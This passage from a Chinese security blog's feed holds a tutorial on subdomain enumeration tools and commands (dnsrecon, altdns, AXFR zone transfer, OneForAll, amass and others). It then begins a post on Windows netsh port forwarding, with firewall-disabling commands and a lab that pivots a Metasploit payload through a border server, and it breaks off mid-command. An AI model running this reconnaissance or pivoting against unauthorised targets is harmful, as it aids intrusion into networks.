href="https://github.com/rapid7/sonar/wiki/Forward-DNS">Forward DNS · rapid7/sonar Wiki · GitHub</a></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -silent https://scans.io/data/rapid7/sonar.fdns_v2/20170417-fdns.json.gz | pigz -dc | grep ".baidu.com" | jq</span><br></pre></td></tr></table></figure><blockquote><p>数据文件很大!</p></blockquote><h2 id="3-主动子域名"><a href="#3-主动子域名" class="headerlink" title="3. 主动子域名"></a>3. 主动子域名</h2><p><strong>什么是主动子域名枚举?</strong></p><ul><li>Active sub-domain enumeration is where an attacker/tester gathers sub-domain information by probing the infrastructure managed by the target organization<ul><li>主动子域枚举是攻击者/测试者通过探测目标组织管理的基础设施来收集子域信息的地方</li></ul></li><li>Sometimes the target organization might have delegated the maintainence of infrastructure to 3rd party and attacker probes the infra maintained by a third party example: nameservers<ul><li>有时目标组织可能已将基础设施的维护委托给 3rd 方,而攻击者会探测由第三方维护的基础设施,例如:名称服务器</li></ul></li><li>The key characteristic of active enumeration is that it generates traffic that may possibly lead to detection and can point to the attacker/tester<ul><li>主动枚举的关键特征是它生成的流量可能会导致检测并可以指向攻击者/测试者</li></ul></li></ul><h3 id="3-1-基于字典的枚举"><a href="#3-1-基于字典的枚举" class="headerlink" title="3.1 基于字典的枚举"></a>3.1 基于字典的枚举</h3><h4 id="3-1-1-Subbrute"><a href="#3-1-1-Subbrute" class="headerlink" title="3.1.1 Subbrute"></a>3.1.1 Subbrute</h4><ul><li><a href="https://github.com/TheRook/subbrute">GitHub - TheRook/subbrute: A DNS meta-query spider that enumerates DNS records, and subdomains.</a><ul><li>根据DNS记录查询子域名</li></ul></li></ul><p>安装</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">aptitude install python-dnspython</span><br><span class="line">git <span class="built_in">clone</span> https://github.com/TheRook/subbrute.git</span><br><span class="line"><span class="built_in">cd</span> subbrute</span><br><span class="line">make</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/Taonn/img/main/img/subdomain-enum/subdomain-enum16.png"></p><h4 id="3-1-2-DNSRecon"><a href="#3-1-2-DNSRecon" class="headerlink" title="3.1.2 DNSRecon"></a>3.1.2 DNSRecon</h4><ul><li><a href="https://github.com/darkoperator/dnsrecon">GitHub - darkoperator/dnsrecon: DNS Enumeration Script</a></li><li>DNSRecon 是一个强大的 DNS 枚举工具,它的一个特点是使用预定义的词表进行基于字典的子域枚举。</li></ul><p>安装</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">aptitude install dnsrecon<span class="comment"># kali</span></span><br><span class="line"><span class="comment"># or python3.6+</span></span><br><span class="line">git <span class="built_in">clone</span> https://github.com/darkoperator/dnsrecon.git</span><br><span class="line"><span class="built_in">cd</span> dnsrecon</span><br><span class="line">pip install -r requirements.txt</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 暴力破解</span></span><br><span class="line">python3.7 dnsrecon.py -d baidu.com -D wordlist.txt -t brt</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># DNS</span></span><br><span class="line">python3.7 dnsrecon.py -t snoop -D wordlist.txt -n 1.1.1.1</span><br><span class="line"><span class="comment"># 1.1.1.1 是目标的NS server地址</span></span><br></pre></td></tr></table></figure><p>其他参数选项:</p><ul><li><code>--threads 8</code> # 线程</li><li><code>-n nsserver.com</code> # 使用自定义的解析服务器<ul><li>输出选项:</li><li><code>--db</code>: SQLite 3 文件</li><li><code>--xml</code>: XML 文件</li><li><code>--json</code>: JSON 文件</li><li><code>--csv</code>: CSV 文件</li></ul></li></ul><h3 id="3-2-Permutation-scanning"><a href="#3-2-Permutation-scanning" class="headerlink" title="3.2 Permutation scanning"></a>3.2 Permutation scanning</h3><p>Permutation scanning is another interesting technique to identify sub-domains. In this technique, we identify new sub-domains using permutations, alterations and mutations of already known domains/sub-domains.</p><h4 id="3-2-1-aultdns"><a href="#3-2-1-aultdns" class="headerlink" title="3.2.1 aultdns"></a>3.2.1 aultdns</h4><p><a href="https://github.com/infosec-au/altdns">GitHub - infosec-au/altdns: Generates permutations, alterations and mutations of subdomains and then resolves them</a></p><p>安装</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#Version: Python2</span></span><br><span class="line">pip install py-altdns</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">altdns -i subdomains.txt -o data_output -w words.txt -r -s results_output.txt</span><br></pre></td></tr></table></figure><h3 id="3-3-区域传输"><a href="#3-3-区域传输" class="headerlink" title="3.3 区域传输"></a>3.3 区域传输</h3><p>区域传输是一种 DNS 事务,其中 DNS 服务器将其区域文件的全部或部分副本传递给另一台 DNS 服务器。</p><p><img src="img/zone_transfer.gif" alt="zone-transfer"></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dig +multi AXFR @ns_server target.com</span><br></pre></td></tr></table></figure><p>更多参考:</p><ul><li><a href="https://www.cnblogs.com/cyjaysun/p/4265245.html">https://www.cnblogs.com/cyjaysun/p/4265245.html</a></li><li><a href="https://blog.csdn.net/n5xxxx__zy/article/details/90704865">https://blog.csdn.net/n5xxxx__zy/article/details/90704865</a></li><li><a href="https://www.briskinfosec.com/blogs/blogsdetail/DNS-Zone-Transfer">DNS Zone Transfer | Briskinfosec</a></li></ul><h3 id="3-4-Zone-walking-DNSSEC"><a href="#3-4-Zone-walking-DNSSEC" class="headerlink" title="3.4 Zone walking DNSSEC"></a>3.4 Zone walking DNSSEC</h3><ul><li>DNSSEC provides a layer of security by adding cryptographic signatures to existing DNS records<ul><li>DNSSEC 通过向现有 DNS 记录添加加密签名来提供一层安全性</li></ul></li><li>These signatures are stored alongside common record types like A, AAAA, MX<ul><li>这些签名与 A、AAAA、MX 等常见记录类型一起存储</li></ul></li></ul><h4 id="3-4-1-DNSSEC-New-records"><a href="#3-4-1-DNSSEC-New-records" class="headerlink" title="3.4.1 DNSSEC - New records"></a>3.4.1 DNSSEC - New records</h4><table><thead><tr><th>Record</th><th>Purpose</th></tr></thead><tbody><tr><td><strong>RRSIG</strong></td><td>Contains a cryptographic signature.</td></tr><tr><td><strong>NSEC and NSEC3</strong></td><td>For explicit denial-of-existence of a DNS record</td></tr><tr><td><strong>DNSKEY</strong></td><td>Contains a public signing key</td></tr><tr><td><strong>DS</strong></td><td>Contains the hash of a DNSKEY record</td></tr></tbody></table><blockquote><p>更多详细内容:<a href="https://appsecco.com/books/subdomain-enumeration/active_techniques/zone_walking.html">https://appsecco.com/books/subdomain-enumeration/active_techniques/zone_walking.html</a></p></blockquote><h3 id="3-5-DNS-记录"><a href="#3-5-DNS-记录" class="headerlink" title="3.5 DNS 记录"></a>3.5 DNS 记录</h3><h4 id="3-5-1-CNAME-记录"><a href="#3-5-1-CNAME-记录" class="headerlink" title="3.5.1 CNAME 记录"></a>3.5.1 CNAME 记录</h4><p>CNAME 代表规范名称。 CNAME 记录可用于将一个名称别名为另一个名称。 CNAME 记录将具有主机名的值。有时,CNAME 会显示组织的子域或显示有关在域上运行的服务类型的信息。</p><p><img src="https://raw.githubusercontent.com/Taonn/img/main/img/subdomain-enum/subdomain-enum17.png"></p><h4 id="3-5-2-SPF记录"><a href="#3-5-2-SPF记录" class="headerlink" title="3.5.2 SPF记录"></a>3.5.2 SPF记录</h4><p>参考:<a href="https://www.rapid7.com/blog/post/2015/02/23/osint-through-sender-policy-framework-spf-records/">OSINT Through Sender Policy Framework (SPF) Records | Rapid7 Blog</a></p><h3 id="3-6-HTTP-标头下的子域枚举"><a href="#3-6-HTTP-标头下的子域枚举" class="headerlink" title="3.6 HTTP 标头下的子域枚举"></a>3.6 HTTP 标头下的子域枚举</h3><blockquote><p>很少有安全头暴露子域名信息。</p></blockquote><p>CSP定义的<code>Content-Security-Policy</code>请求头字段,它允许您创建可信内容来源的白名单,并指示浏览器仅执行或呈现来自这些来源的资源。所以基本上,<code>Content-Security-Policy </code>标头将列出我们作为攻击者可能感兴趣的一堆来源(域)。有不推荐使用的 CSP 标头形式,它们是 <code>X-Content-Security-Policy</code> 和<code> X-Webkit-CSP</code></p><p>脚本工具:<a href="https://github.com/0xbharath/domains-from-csp">https://github.com/0xbharath/domains-from-csp</a></p><h2 id="4-扩展:常见工具"><a href="#4-扩展:常见工具" class="headerlink" title="4. 扩展:常见工具"></a>4. 扩展:常见工具</h2><h4 id="4-1-oneforall"><a href="#4-1-oneforall" class="headerlink" title="4.1 oneforall"></a>4.1 oneforall</h4><blockquote><p><a href="https://github.com/shmilylty/OneForAll">https://github.com/shmilylty/OneForAll</a></p></blockquote><p>安装</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/shmilylty/OneForAll.git</span><br><span class="line"><span class="built_in">cd</span> OneForAll/</span><br><span class="line">python3 -m pip install -U pip setuptools wheel -i https://mirrors.aliyun.com/pypi/simple/</span><br><span class="line">pip3 install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/</span><br><span class="line">python3 oneforall.py --<span class="built_in">help</span></span><br></pre></td></tr></table></figure><p>使用</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">python3 oneforall.py --target example.com run</span><br><span class="line">python3 oneforall.py --targets ./example.txt run</span><br></pre></td></tr></table></figure><h4 id="4-2-Sublist3r"><a href="#4-2-Sublist3r" class="headerlink" title="4.2 Sublist3r"></a>4.2 Sublist3r</h4><blockquote><p><a href="https://github.com/aboul3la/Sublist3r">https://github.com/aboul3la/Sublist3r</a></p></blockquote><ul><li>Baidu, Yahoo, Google, Bing, Ask, Netcraft, DNSdumpster, VirusTotal, Threat Crowd, SSL Certificates, PassiveDNS</li></ul><p>安装</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/aboul3la/Sublist3r.git</span><br><span class="line"><span class="built_in">cd</span> Subllist3r</span><br><span class="line">pip3 install -r requirements.txt</span><br></pre></td></tr></table></figure><p>使用</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">python3 sublist3r.py -d target.com -o <span class="variable">$outfile</span></span><br><span class="line"><span class="comment"># 暴力破解</span></span><br><span class="line">python3 sublist3r.py -b -d target.com -o <span class="variable">$outfile</span></span><br></pre></td></tr></table></figure><p>其他选项:</p><ul><li><code>-p 80,443</code> # 仅显示开放80,443端口的域名</li><li><code>-e google,yahoo,virustotal</code> # 仅使用google,yahoo,virustotal枚举子域名</li></ul><p><img src="https://raw.githubusercontent.com/Taonn/img/main/img/subdomain-enum/subdomain-enum18.png"></p><h4 id="4-3-Gobuster"><a href="#4-3-Gobuster" class="headerlink" title="4.3 Gobuster"></a>4.3 Gobuster</h4><blockquote><p><a href="https://github.com/OJ/gobuster">https://github.com/OJ/gobuster</a></p></blockquote><p>安装</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">git clone https://github.com/OJ/gobuster.git</span><br><span class="line">cd gobuster/</span><br><span class="line">go get && go build</span><br><span class="line">go install</span><br></pre></td></tr></table></figure><p>简单使用</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gobuster -m dns -u target.com -w <span class="variable">$wordlist</span></span><br></pre></td></tr></table></figure><h4 id="4-4-amass"><a href="#4-4-amass" class="headerlink" title="4.4 amass"></a>4.4 amass</h4><blockquote><p><a href="https://github.com/OWASP/Amass">https://github.com/OWASP/Amass</a></p></blockquote><p>安装</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo snap install amass</span><br></pre></td></tr></table></figure><p>简单使用</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">amass enum -d example.com</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/Taonn/img/main/img/subdomain-enum/subdomain-enum19.png"></p><h4 id="4-5-Subfinder"><a href="#4-5-Subfinder" class="headerlink" title="4.5 Subfinder"></a>4.5 Subfinder</h4><blockquote><p><a href="https://github.com/subfinder/subfinder">https://github.com/subfinder/subfinder</a></p></blockquote><p>VirusTotal, PassiveTotal, SecurityTrails, Censys, Riddler, Shodan, Bruteforce</p><p>安装:<a href="https://github.com/projectdiscovery/subfinder/releases/tag/v2.4.8">https://github.com/projectdiscovery/subfinder/releases/tag/v2.4.8</a></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./subfinder -d target.com -o <span class="variable">$outfile</span></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/Taonn/img/main/img/subdomain-enum/subdomain-enum20.png"></p><h4 id="4-6-theHarvester"><a href="#4-6-theHarvester" class="headerlink" title="4.6 theHarvester"></a>4.6 theHarvester</h4><blockquote><p><a href="https://github.com/laramies/theHarvester">https://github.com/laramies/theHarvester</a></p></blockquote><p>安装</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#kali</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#or</span></span><br><span class="line">$ ~ > git <span class="built_in">clone</span> https://github.com/laramies/theHarvester </span><br><span class="line">$ ~ > <span class="built_in">cd</span> theHarvester</span><br><span class="line"></span><br><span class="line">If developing <span class="keyword">do</span>:</span><br><span class="line">$ ~ > python3 -m pip install -r requirements/dev.txt</span><br><span class="line">Else:</span><br><span class="line">$ ~ > python3 -m pip install -r requirements/base.txt</span><br><span class="line"></span><br><span class="line">$ ~ > python3 theHarvester.py -h </span><br></pre></td></tr></table></figure><p>使用:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">theharvester -d target.com -b all</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/Taonn/img/main/img/subdomain-enum/subdomain-enum21.png"></p><p><img src="https://raw.githubusercontent.com/Taonn/img/main/img/subdomain-enum/subdomain-enum22.png"></p><h4 id="4-7-Sudomy"><a href="#4-7-Sudomy" class="headerlink" title="4.7 Sudomy"></a>4.7 Sudomy</h4><blockquote><p><a href="https://github.com/Screetsec/Sudomy">https://github.com/Screetsec/Sudomy</a></p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./sudomy -d target.com -dP -eP -rS -cF -pS -tO -gW --httpx --dnsprobe -aI webanalyze -sS</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/Taonn/img/main/img/subdomain-enum/subdomain-enum23.png"></p><h4 id="4-8-Knock"><a href="#4-8-Knock" class="headerlink" title="4.8 Knock"></a>4.8 Knock</h4><blockquote><p><a href="https://github.com/guelfoweb/knock">https://github.com/guelfoweb/knock</a></p></blockquote><ul><li>AXFR, virustotal, brute-force</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">apt-get install python-dnspython</span><br><span class="line">git clone https://github.com/guelfoweb/knock.git</span><br><span class="line">cd knock</span><br><span class="line">nano knockpy/config.json # <- 设置你的virustotal API_KEY</span><br><span class="line">python setup.py install</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">knockpy target.com</span><br><span class="line">knockpy target.com -w <span class="variable">$wordlist</span></span><br></pre></td></tr></table></figure><h4 id="4-9-dnssearch"><a href="#4-9-dnssearch" class="headerlink" title="4.9 dnssearch"></a>4.9 dnssearch</h4><blockquote><p><a href="https://github.com/evilsocket/dnssearch">https://github.com/evilsocket/dnssearch</a></p></blockquote><h4 id="4-10-Dnscan"><a href="#4-10-Dnscan" class="headerlink" title="4.10 Dnscan"></a>4.10 Dnscan</h4><blockquote><p><a href="https://github.com/rbsec/dnscan">https://github.com/rbsec/dnscan</a></p></blockquote><h4 id="4-11-Domained"><a href="#4-11-Domained" class="headerlink" title="4.11 Domained"></a>4.11 Domained</h4><p>集成Sublist3r, Knock, Subbrute, Massdns, Recon-ng, Amass & SubFinder</p><blockquote><p><a href="https://github.com/cakinney/domained">https://github.com/cakinney/domained</a></p></blockquote><h4 id="4-12-subDomainsBrute"><a href="#4-12-subDomainsBrute" class="headerlink" title="4.12 subDomainsBrute"></a>4.12 subDomainsBrute</h4><blockquote><p><a href="https://github.com/lijiejie/subDomainsBrute">https://github.com/lijiejie/subDomainsBrute</a></p></blockquote><h4 id="4-13-Layer子域名挖掘机"><a href="#4-13-Layer子域名挖掘机" class="headerlink" title="4.13 Layer子域名挖掘机"></a>4.13 Layer子域名挖掘机</h4><h4 id="4-14-teemo"><a href="#4-14-teemo" class="headerlink" title="4.14 teemo"></a>4.14 teemo</h4><blockquote><p><a href="https://github.com/bit4woo/teemo">https://github.com/bit4woo/teemo</a></p></blockquote><h2 id="5-在线工具"><a href="#5-在线工具" class="headerlink" title="5. 在线工具"></a>5. 在线工具</h2><ul><li><a href="https://dnsdumpster.com/">https://dnsdumpster.com/</a></li><li><a href="https://www.nmmapper.com/sys/tools/subdomainfinder/">https://www.nmmapper.com/sys/tools/subdomainfinder/</a></li><li><a href="https://spyse.com/tools/subdomain-finder">https://spyse.com/tools/subdomain-finder</a></li><li><a href="https://searchdns.netcraft.com/">https://searchdns.netcraft.com/</a></li><li><a href="https://detectify.com/">https://detectify.com/</a></li><li><a href="https://pentest-tools.com/information-gathering/find-subdomains-of-domain">https://pentest-tools.com/information-gathering/find-subdomains-of-domain</a></li><li><a href="https://fofa.so/">https://fofa.so/</a></li><li><a href="https://www.zoomeye.org/">https://www.zoomeye.org/</a></li><li><a href="https://www.shodan.io/">https://www.shodan.io/</a></li><li><a href="https://phpinfo.me/domain">https://phpinfo.me/domain</a></li></ul><h2 id="6-字典相关"><a href="#6-字典相关" class="headerlink" title="6. 字典相关"></a>6. 字典相关</h2><ul><li><a href="https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056">https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056</a></li><li><a href="https://github.com/assetnote/commonspeak2-wordlists">https://github.com/assetnote/commonspeak2-wordlists</a></li><li><a href="https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS">https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS</a></li></ul><h2 id="7-威胁情报数据"><a href="#7-威胁情报数据" class="headerlink" title="7. 威胁情报数据"></a>7. 威胁情报数据</h2><ol><li>微步:<a href="https://x.threatbook.cn/">https://x.threatbook.cn/</a></li><li>alienvault:<a href="https://otx.alienvault.com/">https://otx.alienvault.com/</a></li><li>riskiq:<a href="https://www.riskiq.com/">https://www.riskiq.com/</a></li><li>threatminer:<a href="https://www.threatminer.org/">https://www.threatminer.org/</a></li><li>virustotal:<a href="https://www.virustotal.com/gui/home/search">https://www.virustotal.com/gui/home/search</a></li></ol><h2 id="8-细节"><a href="#8-细节" class="headerlink" title="8. 细节"></a>8. 细节</h2><ul><li>robots文件</li><li>sitemap文件</li><li>域传送漏洞</li><li>js敏感信息泄露</li></ul><h2 id="9-参考"><a href="#9-参考" class="headerlink" title="9. 参考"></a>9. 参考</h2><ul><li><a href="https://appsecco.com/books/subdomain-enumeration/">The Art of subdomain enumeration · GitBook (appsecco.com)</a></li><li><a href="https://pentester.land/cheatsheets/2018/11/14/subdomains-enumeration-cheatsheet.html#search-engines">Subdomains Enumeration Cheat Sheet · Pentester Land</a></li><li><a href="https://ricardoiramar.medium.com/subdomain-enumeration-tools-evaluation-57d4ec02d69e">Subdomain Enumeration Tools Evaluation | by Ricardo Iramar dos Santos | Medium</a></li><li><a href="https://geekflare.com/find-subdomains/">How to find Subdomains of a Domain in Minutes? (geekflare.com)</a></li><li><a href="https://blog.csdn.net/w1590191166/article/details/104160404">https://blog.csdn.net/w1590191166/article/details/104160404</a></li></ul>]]></content>
<summary type="html"><p>引言:信息收集 –&gt; 特此整理 (译文扩展整理)</p>
<h2 id="1-what-amp-why"><a href="#1-what-amp-why" class="headerlink" title="1. what &amp; why"></a>1. wha</summary>
<category term="web安全" scheme="https://taonn.github.io/categories/web%E5%AE%89%E5%85%A8/"/>
<category term="信息收集" scheme="https://taonn.github.io/tags/%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/"/>
</entry>
<entry>
<title>配置基于Windows内置工具的端口转发</title>
<link href="https://taonn.github.io/2021/04/08/%E9%85%8D%E7%BD%AE%E5%9F%BA%E4%BA%8EWindows%E5%86%85%E7%BD%AE%E5%B7%A5%E5%85%B7%E7%9A%84%E7%AB%AF%E5%8F%A3%E8%BD%AC%E5%8F%91/"/>
<id>https://taonn.github.io/2021/04/08/%E9%85%8D%E7%BD%AE%E5%9F%BA%E4%BA%8EWindows%E5%86%85%E7%BD%AE%E5%B7%A5%E5%85%B7%E7%9A%84%E7%AB%AF%E5%8F%A3%E8%BD%AC%E5%8F%91/</id>
<published>2021-04-08T13:18:37.000Z</published>
<updated>2021-04-08T13:26:42.642Z</updated>
<content type="html"><![CDATA[<h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>在windows系统中,可以利用内置的<code>netsh</code>命令来进行端口转发。使用端口转发规则,可以将传入的TCP连接(IPv4或IPv6)从本地TCP端口重定向到任何其他端口号,甚至重定向到远程计算机上的端口。</p><h2 id="0x01-防火墙管理"><a href="#0x01-防火墙管理" class="headerlink" title="0x01 防火墙管理"></a>0x01 防火墙管理</h2><p>首先先简单的了解一下windows中命令行操作防火墙的基本命令。</p><p>在<strong>win2003以及之前的操作系统</strong>命令如下:</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">net firewall show state<span class="comment"># 查看当前系统防火墙状态</span></span><br></pre></td></tr></table></figure><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">net firewall <span class="built_in">set</span> opmode disable <span class="comment"># 关闭当前系统防火墙</span></span><br></pre></td></tr></table></figure><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">net firewall <span class="built_in">set</span> opmode enable <span class="comment"># 启用当前系统防火墙</span></span><br></pre></td></tr></table></figure><p>端口管理</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">netsh firewall add portopening TCP <span class="number">80</span> <span class="string">"Open Port 80"</span><span class="comment"># 启用80端口</span></span><br><span class="line">netsh firewall delete portopening protocol=TCP port=<span class="number">80</span> <span class="comment"># 删除启用的端口策略</span></span><br></pre></td></tr></table></figure><p><strong>Win2003之后的系统</strong>(虽已弃用,但还是可)</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">netsh advfirewall show allprofiles<span class="comment"># 查看当前系统所有网络类型的防火墙状态,比如,私有,公共,域网络</span></span><br></pre></td></tr></table></figure><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">netsh advfirewall <span class="built_in">set</span> currentprofile state off<span class="comment"># 关闭当前系统防火墙</span></span><br></pre></td></tr></table></figure><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">netsh advfirewall <span class="built_in">set</span> currentprofile state on<span class="comment"># 启用当前系统防火墙</span></span><br></pre></td></tr></table></figure><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">netsh advfirewall reset<span class="comment"># 重置当前系统所有的防火墙规则</span></span><br></pre></td></tr></table></figure><p>端口管理</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">netsh advfirewall firewall add rule name= <span class="string">"Open Port 80"</span> <span class="built_in">dir</span>=<span class="keyword">in</span> action=allow protocol=TCP localport=<span class="number">80</span><span class="comment"># 启用80端口</span></span><br><span class="line">netsh advfirewall firewall delete rule name=<span class="string">"Open Port 80"</span> name protocol=TCP localport=<span class="number">80</span><span class="comment"># 删除启用80端口的策略</span></span><br></pre></td></tr></table></figure><blockquote><p>更多命令详解参考:<a href="https://docs.microsoft.com/zh-CN/troubleshoot/windows-server/networking/netsh-advfirewall-firewall-control-firewall-behavior">使用 netsh advfirewall 防火墙而不是 netsh 防火墙控制 Windows 防火墙行为</a></p></blockquote><h2 id="0x02-基础命令"><a href="#0x02-基础命令" class="headerlink" title="0x02 基础命令"></a>0x02 基础命令</h2><p>使用Netsh命令中portproxy模式即可实现windows系统的端口转发,转发命令如下:</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport</span><br></pre></td></tr></table></figure><ul><li><code>listenaddress</code>—->等待连接的本地IP地址</li><li><code>listenport</code>—-> 本地监听的TCP端口(等待连接)</li><li><code>connectaddress</code>—-> 被转发的远程IP地址</li><li><code>connectport</code>—->被转发的远程端口</li></ul><h2 id="0x04-本地转发"><a href="#0x04-本地转发" class="headerlink" title="0x04 本地转发"></a>0x04 本地转发</h2><h3 id="环境说明"><a href="#环境说明" class="headerlink" title="环境说明"></a>环境说明</h3><blockquote><p>Win7: <font color="red">1.1.1.13</font></p></blockquote><h3 id="实例"><a href="#实例" class="headerlink" title="实例"></a>实例</h3><p>将本地的RDP服务(远程协议)3389端口转发到本机的3333端口</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">netsh interface portproxy add v4tov4 listenaddress=1.1.1.13 listenport=3333 connectaddress=1.1.1.13 connectport=3389</span><br></pre></td></tr></table></figure><blockquote><p>在建立上面的规则之前,需要保证监听端口没用被任何程序占用。</p></blockquote><p>检查端口是否被占用</p><ul><li><code>netstat -ano | findstr 3333</code><ul><li><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210408164100782.png" alt="image-20210408164100782"></li></ul></li><li><code>Test-NetConnection -ComputerName localhost -Port 3333</code><ul><li><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210408164527490.png" alt="image-20210408164527490"></li></ul></li></ul><p>查询端口转发策略<code>netsh interface portproxy show all</code></p><p>连接测试</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210408164931837.png" alt="image-20210408164931837"></p><h2 id="0x04-远程转发"><a href="#0x04-远程转发" class="headerlink" title="0x04 远程转发"></a>0x04 远程转发</h2><p>由于本地转发只是在本机进行监听,远程的计算机无法进行连接。因此我们需要监听在<code>0.0.0.0</code>,实现远程任意主机可连接的端口转发。看下面实例吧。</p><h3 id="环境说明-1"><a href="#环境说明-1" class="headerlink" title="环境说明"></a>环境说明</h3><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Win10攻击机:<span class="number">1.1</span>.<span class="number">1.1</span></span><br><span class="line">目标边界Windows <span class="number">2012</span> Server(可出网): <span class="number">1.1</span>.<span class="number">1.14</span></span><br><span class="line">目标内网Win7: <span class="number">1.1</span>.<span class="number">1.13</span></span><br></pre></td></tr></table></figure><p>简单的网络拓扑如下图:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210408210655021.png" alt="image-20210408210655021"></p><h3 id="Metasploit上线"><a href="#Metasploit上线" class="headerlink" title="Metasploit上线"></a>Metasploit上线</h3><p>通过出网的边界<code>windows 2012 server</code>把内网<code>Win7</code>通过payload上线到<code>Win10攻击机</code>的Metasploit上。</p><p>在<code>windows 2012</code>执行如下命令:</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">netsh advfirewall firewall add rule name= <span class="string">"meta-online"</span> <span 